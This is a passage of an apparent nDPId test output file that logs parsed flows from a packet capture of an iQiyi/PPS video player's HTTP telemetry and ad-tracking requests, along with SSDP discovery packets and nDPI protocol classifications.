wNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +01162{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1443,"source":"pps.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1467353195852,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50771,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=&as=1:45:23|45&av=4.10.004&b=180932301&c=31&ct=5000000923447&d=2175&di=&dp=71000001&e=c4889e64ad9d9eeb9ff438910850c442&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=5000000854934&oi=&p=a&pp=&rc=&rd=&ri=&s=1467353195054&sh=&sq=&sw=&t=sp&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=479531000&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1444,"source":"pps.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1467353195855,"flow_last_seen":0,"flow_tot_l4_data_len":365,"flow_min_l4_data_len":365,"flow_max_l4_data_len":365,"flow_avg_l4_data_len":365,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.111.70","src_port":50772,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00871{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1444,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":855557,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"TF4M6gNlABxCjnAxCABFAAGBMjFAAIAGqNHAqHMIe31vRsZUAFDL+rP6wuI4bVAY\/\/CsBQAAR0VUIC9hcGlzL3VyYy9zZXRyYz9ja3VpZD1hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbiZ0dklkPTQ3OTUzMTAwMCZ2aWRlb1BsYXlUaW1lPS0xJmFkZHRpbWU9MTQ2NzM1MzE5NSZ0ZXJtaW5hbElkPTEyJnZUeXBlPTAmY29tPTImcHBzVHZpZFR5cGU9MiZhZ2VudF90eXBlPTMwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRaXlpIExpc3QgQ2xpZW50IFBDIDUuMi4xNS4yMjQwDQpIb3N0OiBubC5yY2QuaXFpeWkuY29tDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBjbG9zZQ0KQWNjZXB0OiAqLyoNCg0K"} +00814{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1444,"source":"pps.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1467353195855,"flow_last_seen":0,"flow_tot_l4_data_len":365,"flow_min_l4_data_len":365,"flow_max_l4_data_len":365,"flow_avg_l4_data_len":365,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.111.70","src_port":50772,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"nl.rcd.iqiyi.com","url":"nl.rcd.iqiyi.com\/apis\/urc\/setrc?ckuid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&tvId=479531000&videoPlayTime=-1&addtime=1467353195&terminalId=12&vType=0&com=2&ppsTvidType=2&agent_type=30","code":0,"content_type":"","user_agent":"Qiyi List Client PC 5.2.15.2240"}} +01044{"flow_id":84,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1445,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":910492,"pkt_caplen":525,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":525,"pkt_l4_len":491,"pkt":"AQBef\/\/6cBiLE+IdCABFAAH\/I7UAAAER3nDAqAUm7\/\/\/+gdsB2wB6x3GTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MvNi4yIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6MDAyODViYzNjM2JhMjA3MDA3ZTFjM2I3NjIxYzg0NzYNCg0K"} +00605{"flow_id":97,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1446,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":956508,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5xWxAADMGdMnKbA7swKhzCABQxlNWUKyA6k+aDlAYACCSWwAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjM1IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00707{"flow_id":98,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1448,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":998488,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"ABxCjnAxTF4M6gNlCABFAAEFPIVAAC8G7\/l7fW9GwKhzCABQxlTC4jhty\/q1U1AYPLjA5wAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFRlbmdpbmUNCkRhdGU6IEZyaSwgMDEgSnVsIDIwMTYgMDY6MDY6MzUgR01UDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW47Y2hhcnNldD1VVEYtOA0KQ29udGVudC1MZW5ndGg6IDI5DQpDb25uZWN0aW9uOiBjbG9zZQ0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctQ3JlZGVudGlhbHM6IHRydWUNCg0KeyJkYXRhIjp0cnVlLCJjb2RlIjoiQTAwMDAwIn0="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1450,"source":"pps.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1467353196104,"flow_last_seen":0,"flow_tot_l4_data_len":885,"flow_min_l4_data_len":885,"flow_max_l4_data_len":885,"flow_avg_l4_data_len":885,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.221","src_port":50773,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01565{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1450,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":104228,"pkt_caplen":919,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":919,"pkt_l4_len":885,"pkt":"TF4M6gNlABxCjnAxCABFAAOJMkZAAIAGuC7AqHMIymwO3cZVAFB2diePbxSNNlAYAQSFkwAAR0VUIC9jb3JlP3Q9MSZyZXNldD0wJnZmcm10cD0xJnRtMT0mdG0yPTAmdG0yMT0wJnRtMjI9MCZ0bTIzPTAmdG0yND0wJnRtMz0yMDkmdG0zMT05NCZ0bTMyPTMxJnRtMzM9NzgmdG0zND0xJnRtND0xNzYmdG00MT00NyZ0bTQyPTE2JnRtNDM9NzgmdG00ND03JnRtNT0zMjgmdG01MT0wJnRtNTI9MCZ0bTUzPTAmdG01ND02MyZ0bTY9JnRtNjI9MCZ0bTYzPTAmdG03PTAmdG03MT0wJnRtNzI9MCZ0bTczPTAmdG04PTAmdG04MT0wJnRtODI9MCZ0bTgzPTAmdG05PTk2MiZ0bTkyPTE1JnRtOTM9Mjk3JmNoaXBpZD1JbnRlbCUyOFIlMjklMjBDb3JlJTI4VE0lMjklMjBpNSUyRDI1NTdNJTIwQ1BVJTIwJTQwJTIwMSUyRTcwR0h6JnJhPTEmaXNoY2RuPTImcGY9MjAxJnA9MTEmcDE9MTE0JnAyPTMwMDAmc2RrdHA9MSZjMT0zMSZyPTQ3OTUzMTAwMCZhaWQ9MTgwOTMyMzAxJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcHU9Jm9zPVdpbmRvd3MlMjA3JnY9NSUyRTIlMkUxNSUyRTIyNDAma3J2PTIlMkUwJTJFMTAyJmR0PSZodT0tMSZybj0xNDY3MzUzMTk1JmlzbG9jYWw9MCZhcz0wMzExYzVhMGQ1NTk2MDYzZGI1OTQ0YmQ3NmI2Y2JmZiZ2ZT1iMWY5MGY4ZGE2ZmUwMjU4ZDEzNjE2YTgwNzBjYjk5NyZwZT0mdmZybT0mY2hsPSZoY2Rudj0xMC4wLjAuMjkzJnRwY2Q9MCZpc2RybT0xJmh0PTAgSFRUUC8xLjENClVzZXItQWdlbnQ6IFFZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IG1zZy43MS5hbQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KcXlpZDphYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KcXlwaWQ6XzIwMTINCnF5cGxhdGZvcm06MC0yDQoNCg=="} +01311{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1450,"source":"pps.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1467353196104,"flow_last_seen":0,"flow_tot_l4_data_len":885,"flow_min_l4_data_len":885,"flow_max_l4_data_len":885,"flow_avg_l4_data_len":885,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.221","src_port":50773,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=1&reset=0&vfrmtp=1&tm1=&tm2=0&tm21=0&tm22=0&tm23=0&tm24=0&tm3=209&tm31=94&tm32=31&tm33=78&tm34=1&tm4=176&tm41=47&tm42=16&tm43=78&tm44=7&tm5=328&tm51=0&tm52=0&tm53=0&tm54=63&tm6=&tm62=0&tm63=0&tm7=0&tm71=0&tm72=0&tm73=0&tm8=0&tm81=0&tm82=0&tm83=0&tm9=962&tm92=15&tm93=297&chipid=Intel%28R%29%20Core%28TM%29%20i5%2D2557M%20CPU%20%40%201%2E70GHz&ra=1&ishcdn=2&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=31&r=479531000&aid=180932301&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=Windows%207&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353195&islocal=0&as=0311c5a0d5596063db5944bd76b6cbff&ve=b1f90f8da6fe0258d13616a8070cb997&pe=&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00578{"flow_id":89,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1452,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":193494,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6jHNut5ODCABFAAChAqQAAAERAOrAqAUc7\/\/\/+up3B2wAjbFHTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00606{"flow_id":99,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1453,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":204492,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC53kZAADMGW\/7KbA7dwKhzCABQxlVvFI02dnYq8FAYAA859QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjM1IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1454,"source":"pps.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1467353196348,"flow_last_seen":0,"flow_tot_l4_data_len":365,"flow_min_l4_data_len":365,"flow_max_l4_data_len":365,"flow_avg_l4_data_len":365,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.111.70","src_port":50775,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00873{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1454,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":348641,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"TF4M6gNlABxCjnAxCABFAAGBMltAAIAGqKfAqHMIe31vRsZXAFCyDhiCAe\/eKVAY\/\/B8ngAAR0VUIC9hcGlzL3VyYy9zZXRyYz9ja3VpZD1hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbiZ0dklkPTQ3OTUzMTAwMCZ2aWRlb1BsYXlUaW1lPS0xJmFkZHRpbWU9MTQ2NzM1MzE5NSZ0ZXJtaW5hbElkPTEyJnZUeXBlPTAmY29tPTImcHBzVHZpZFR5cGU9MiZhZ2VudF90eXBlPTMwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRaXlpIExpc3QgQ2xpZW50IFBDIDUuMi4xNS4yMjQwDQpIb3N0OiBubC5yY2QuaXFpeWkuY29tDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBjbG9zZQ0KQWNjZXB0OiAqLyoNCg0K"} +00815{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1454,"source":"pps.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1467353196348,"flow_last_seen":0,"flow_tot_l4_data_len":365,"flow_min_l4_data_len":365,"flow_max_l4_data_len":365,"flow_avg_l4_data_len":365,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.111.70","src_port":50775,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"nl.rcd.iqiyi.com","url":"nl.rcd.iqiyi.com\/apis\/urc\/setrc?ckuid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&tvId=479531000&videoPlayTime=-1&addtime=1467353195&terminalId=12&vType=0&com=2&ppsTvidType=2&agent_type=30","code":0,"content_type":"","user_agent":"Qiyi List Client PC 5.2.15.2240"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1455,"source":"pps.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1467353196393,"flow_last_seen":0,"flow_tot_l4_data_len":553,"flow_min_l4_data_len":553,"flow_max_l4_data_len":553,"flow_avg_l4_data_len":553,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50774,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01124{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1455,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":393319,"pkt_caplen":587,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":587,"pkt_l4_len":553,"pkt":"TF4M6gNlABxCjnAxCABFAAI9Ml9AAIAGuWPAqHMIymwO28ZWAFBrRx\/mc\/0Jh1AYAQRafgAAR0VUIC9jb3JlP3Q9MTEmY3Q9YWRlbmQmcmVzZXQ9MCZyYT0xJnBmPTIwMSZwPTExJnAxPTExNCZwMj0zMDAwJnNka3RwPTEmYzE9MzEmcj00Nzk1MzEwMDAmYWlkPTE4MDkzMjMwMSZ1PWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnB1PSZvcz1XaW5kb3dzJTIwNyZ2PTUlMkUyJTJFMTUlMkUyMjQwJmtydj0yJTJFMCUyRTEwMiZkdD0maHU9LTEmcm49MTQ2NzM1MzE5NSZpc2xvY2FsPTAmYXM9MDMxMWM1YTBkNTU5NjA2M2RiNTk0NGJkNzZiNmNiZmYmdmU9YjFmOTBmOGRhNmZlMDI1OGQxMzYxNmE4MDcwY2I5OTcmcGU9JnZmcm09JmNobD0maGNkbnY9MTAuMC4wLjI5MyZ0cGNkPTAmaXNkcm09MSZodD0wIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBtc2cuNzEuYW0NCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCnF5aWQ6YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOl8yMDEyDQpxeXBsYXRmb3JtOjAtMg0KDQo="} +00980{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1455,"source":"pps.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1467353196393,"flow_last_seen":0,"flow_tot_l4_data_len":553,"flow_min_l4_data_len":553,"flow_max_l4_data_len":553,"flow_avg_l4_data_len":553,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50774,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=11&ct=adend&reset=0&ra=1&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=31&r=479531000&aid=180932301&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=Windows%207&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353195&islocal=0&as=0311c5a0d5596063db5944bd76b6cbff&ve=b1f90f8da6fe0258d13616a8070cb997&pe=&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1456,"source":"pps.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1467353196441,"flow_last_seen":0,"flow_tot_l4_data_len":360,"flow_min_l4_data_len":360,"flow_max_l4_data_len":360,"flow_avg_l4_data_len":360,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"111.206.22.77","src_port":50776,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00866{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1456,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":441555,"pkt_caplen":394,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":394,"pkt_l4_len":360,"pkt":"TF4M6gNlABxCjnAxCABFAAF8MmRAAIAGDUzAqHMIb84WTcZYAFAHr7sEMj+LIFAYAQTIFgAAR0VUIC9iP3Q9MTEmcGY9MjAxJnA9MTEmcDE9MTE0JnMxPTAmY3Q9MTQwODE5X2Fkc3luJmFkc3luPTEmYnJpbmZvPUlFX0lFOV85LjAuODExMi4xNjQyMV8xJm9zPVdpbmRvd3MlMjA3JnJuPTE5MjUyJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj01LjIuMTUuMjI0MCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogUWl5aSBMaXN0IENsaWVudCBQQyA1LjIuMTUuMjI0MA0KSG9zdDogbXNnLmlxaXlpLmNvbQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkFjY2VwdDogKi8qDQoNCg=="} +00804{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1456,"source":"pps.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1467353196441,"flow_last_seen":0,"flow_tot_l4_data_len":360,"flow_min_l4_data_len":360,"flow_max_l4_data_len":360,"flow_avg_l4_data_len":360,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"111.206.22.77","src_port":50776,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.iqiyi.com","url":"msg.iqiyi.com\/b?t=11&pf=201&p=11&p1=114&s1=0&ct=140819_adsyn&adsyn=1&brinfo=IE_IE9_9.0.8112.16421_1&os=Windows%207&rn=19252&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=5.2.15.2240","code":0,"content_type":"","user_agent":"Qiyi List Client PC 5.2.15.2240"}} +00607{"flow_id":101,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1457,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":523719,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5bd1AADMGzGnKbA7bwKhzCABQxlZz\/QmHa0ch+1AYADbMuQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjM1IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00599{"flow_id":102,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1458,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":535461,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"ABxCjnAxTF4M6gNlCABFAAC07BRAADMGoWNvzhZNwKhzCABQxlgyP4sgB6+8WFAYAB\/IEQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjM2IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1459,"source":"pps.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1467353196740,"flow_last_seen":0,"flow_tot_l4_data_len":1152,"flow_min_l4_data_len":1152,"flow_max_l4_data_len":1152,"flow_avg_l4_data_len":1152,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"111.206.22.77","src_port":50777,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01925{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1459,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353196,"pkt_ts_usec":740386,"pkt_caplen":1186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1186,"pkt_l4_len":1152,"pkt":"TF4M6gNlABxCjnAxCABFAASUMuBAAIAGCbjAqHMIb84WTcZZAFAJ9c2nhBlkGlAYAQR8TQAAR0VUIC9iP3BmPTIwMSZwPTExJnAxPTExNCZhcD0wJnNvdXJjZTE9bGlzdCZzb3VyY2UyPW9ubGluZV9sJnQ9MTEmY3Q9cGNfX2FkX3BsYXkmYWxidW1faWQ9MTgwOTMyMzAxJmMxPTQ3OTUzMTAwMCZjbHQ9aG9tZWRsJmNuPTE2MDUwNS0lRTYlQUQlQTMlRTclODklODclRUYlQkMlOUElRTklODMlOTElRTYlODElQkElRTYlQUMlQTclRTUlQjclQjQlRTQlQkElOEMlRTYlQUMlQTElRTUlQkQlOTIlRTYlOUQlQTUlRTUlOEYlOEQlRTklODAlODYlRTglQTIlQUQtJUU0JUJCJThBJUU2JTk5JTlBODAlRTUlOTAlOEUlRTglODQlQjElRTUlOEYlQTMlRTclQTclODAmY3B1dXNlPTMyLjgmZGU9MzJlNjU0ZmE1N2JlOTBlYzYzOGM0NmRkZmRkNjY3NTcmZGxsdj1hcHB2JTNENS4wLjAuMTAwMyU3Q29sdiUzRDUuMC4wLjExMDEmZXQ9MCZmdD0yMTc1Jmh0PTAmaHU9LTEma3Y9MTAuMC4wLjI5MyZsYW5nPSZtZW1waHk9NjUmbWVtdmlyPTEyMCZtdD0wJm12PTUuMi4xNS4yMjQwJnAyPTEwMTEmcGU9JnBvcHQ9MCZwdD0wJnB0eXBlPTEmcHU9JnI9NDc5NTMxMDAwJnJfaWQ9NDc5NTMxMDAwJnJhPTEmcm49MjA1MjYmc2Nobl9pZD0yMDAwMDM3MTklMjQlMjQlMjQlMjQxODA5MzIzMDEmc2Nobl9uYW1lPSVFNyVCQiVCQyVFOCU4OSVCQSVFNSVBOCVCMSVFNCVCOSU5MCUyNCUyNCUyNCUyNCVFNCVCQiU4QSVFNiU5OSU5QTgwJUU1JTkwJThFJUU4JTg0JUIxJUU1JThGJUEzJUU3JUE3JTgwJnNwdD0xNDY3MzUzMTk2JnN0YWdlPTImc3RpbWU9MCZ0dmlkPTQ3OTUzMTAwMCZ1PWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnVwbG9hZF9pZD0mdXJsPWh0dHAlM0ElMkYlMkZ3d3cuaXFpeWkuY